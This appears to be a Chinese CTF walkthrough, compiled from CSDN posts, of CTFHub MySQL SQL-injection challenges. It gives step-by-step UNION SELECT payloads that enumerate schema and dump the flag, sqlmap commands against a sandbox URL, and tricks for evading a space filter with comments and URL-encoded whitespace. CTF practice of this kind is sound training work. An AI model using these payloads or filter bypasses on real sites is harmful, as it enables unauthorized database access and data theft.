MYSQL
手工注入
1.判断字段数
输入1
输入2
输入3
得知字段有两个
2.判断注入类型
1 and 1 = 1
1 and 1=2
回显错误,说明存在sql注入
3.查看数据库内容
知道字段数量为2后,可以查看数据库位置
1 union select 1,2
使用union select 1,2查看未发现数据,判断数据可能不存在数据库中,
在id=1中加入负号可以查看到不存在数据库中的数据
-1 union select 1,2
查看数据库版本
修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22
-1 union select 1,version()
查看数据库名
修改2为database(),查看数据库名,发现数据库名为sqli
-1 union select 1,database()
查看全部数据库名
-1 union select 1,group_concat(schema_name)from information_schema.schemata
4.查看表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
sqli数据库中发现trbncnizbj和news两个表名(题目环境不同,得到的表名也不相同,注意修改)
5.查看字段名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='trbncnizbj'
查看trbncnizbj表中的全部字段名,发现一个数据名为iosfiklapu
6.查看flag
-1 union select 1,group_concat(iosfiklapu) from sqli.trbncnizbj
查看数据onwodzqnwq中的内容,发现此题flag
或者
3.爆数据库
123 union select 1,database()#
4.爆表名
123 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'sqli'
5.爆字段
vyaosuyeqw(题目环境不同,得到的表名也不相同,注意修改)
123 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'vyaosuyeqw'
6.爆flag
rmutuveest
123 union select 1,rmutuveest from vyaosuyeqw
得到flag
sqlmap
http://challenge-6e2ef1d83f8dba0c.sandbox.ctfhub.com:10800
爆数据库名
sqlmap -u http://challenge-6e2ef1d83f8dba0c.sandbox.ctfhub.com:10800/?id=1 --dbs
爆表名
sqlmap -u http://challenge-6e2ef1d83f8dba0c.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
vyaosuyeqw
爆字段
vyaosuyeqw(题目环境不同,得到的表名也不相同,注意修改)
sqlmap -u http://challenge-6e2ef1d83f8dba0c.sandbox.ctfhub.com:10800/?id=1 -D sqli -T vyaosuyeqw --columns
爆出flag
rmutuveest
sqlmap -u http://challenge-6e2ef1d83f8dba0c.sandbox.ctfhub.com:10800/?id=1 -D sqli -T vyaosuyeqw -C rmutuveest --dump
CTFHub | MySQL结构_ctfhub mysql结构-CSDN博客
CTFHub技能树之WEB MYSQL结构_ctfhubmysql结构-CSDN博客
过滤空格
过滤了空格致使无法执行注入的语句时,可使用以下字符代替空格,发挥同样效果
()
:一对圆括号
+
:加号
%09、%0a、%0b、%0c、%0d
:TAB水平制表符、换行符、垂直制表符、换页、回车的URL编码形式
/**/
:块注释符
题解
注入类型
输入1
构造payload and 1 = 1,发现页面提示Hacker!!!
对空格进行过滤,也就是payload语句中的空格需要使用字符进行过滤
/**/and/**/1/**/=/**/1
1/**/and/**/1/**/=/**/2
等于2时回显错误,说明此题存在过滤空格注入
字段数
使用order by 判断字段数量
1/**/order/**/by/**/1
1/**/order/**/by/**/2
1/**/order/**/by/**/3
使用order by 3,这里无回显,那么字段数量为2列
数据库
查看数据库位置
1/**/union/**/select/**/1,2
使用union select 1,2查看未发现数据
断数据可能不存在数据库中,在id=1中加入负号查看数据
-1/**/union/**/select/**/1,2
查看数据库版本
-1/**/union/**/select/**/1,version()
发现数据库版本为MariaDB 10.3.22
查看数据库名
-1/**/union/**/select/**/1,database()
发现数据库版本为sqli
查看全部数据库名
-1/**/union/**/select/**/1,group_concat(schema_name)from/**/information_schema.schemata
表名
在全部数据库名中发现sqli
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
最后在sqli数据库中发现uavxcnipfh和news两个表名(题目环境不同,得到的表名也不相同,注意修改)
字段
先查看uavxcnipfh表中的全部字段名,
-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='uavxcnipfh'
发现一个数据名为gmrdjzkbmr
flag
-1/**/union/**/select/**/1,group_concat(gmrdjzkbmr)/**/from/**/sqli.uavxcnipfh
查看数据gmrdjzkbmr中的内容,发现此题flag
CTFHub | 过滤空格_ctfhub过滤空格-CSDN博客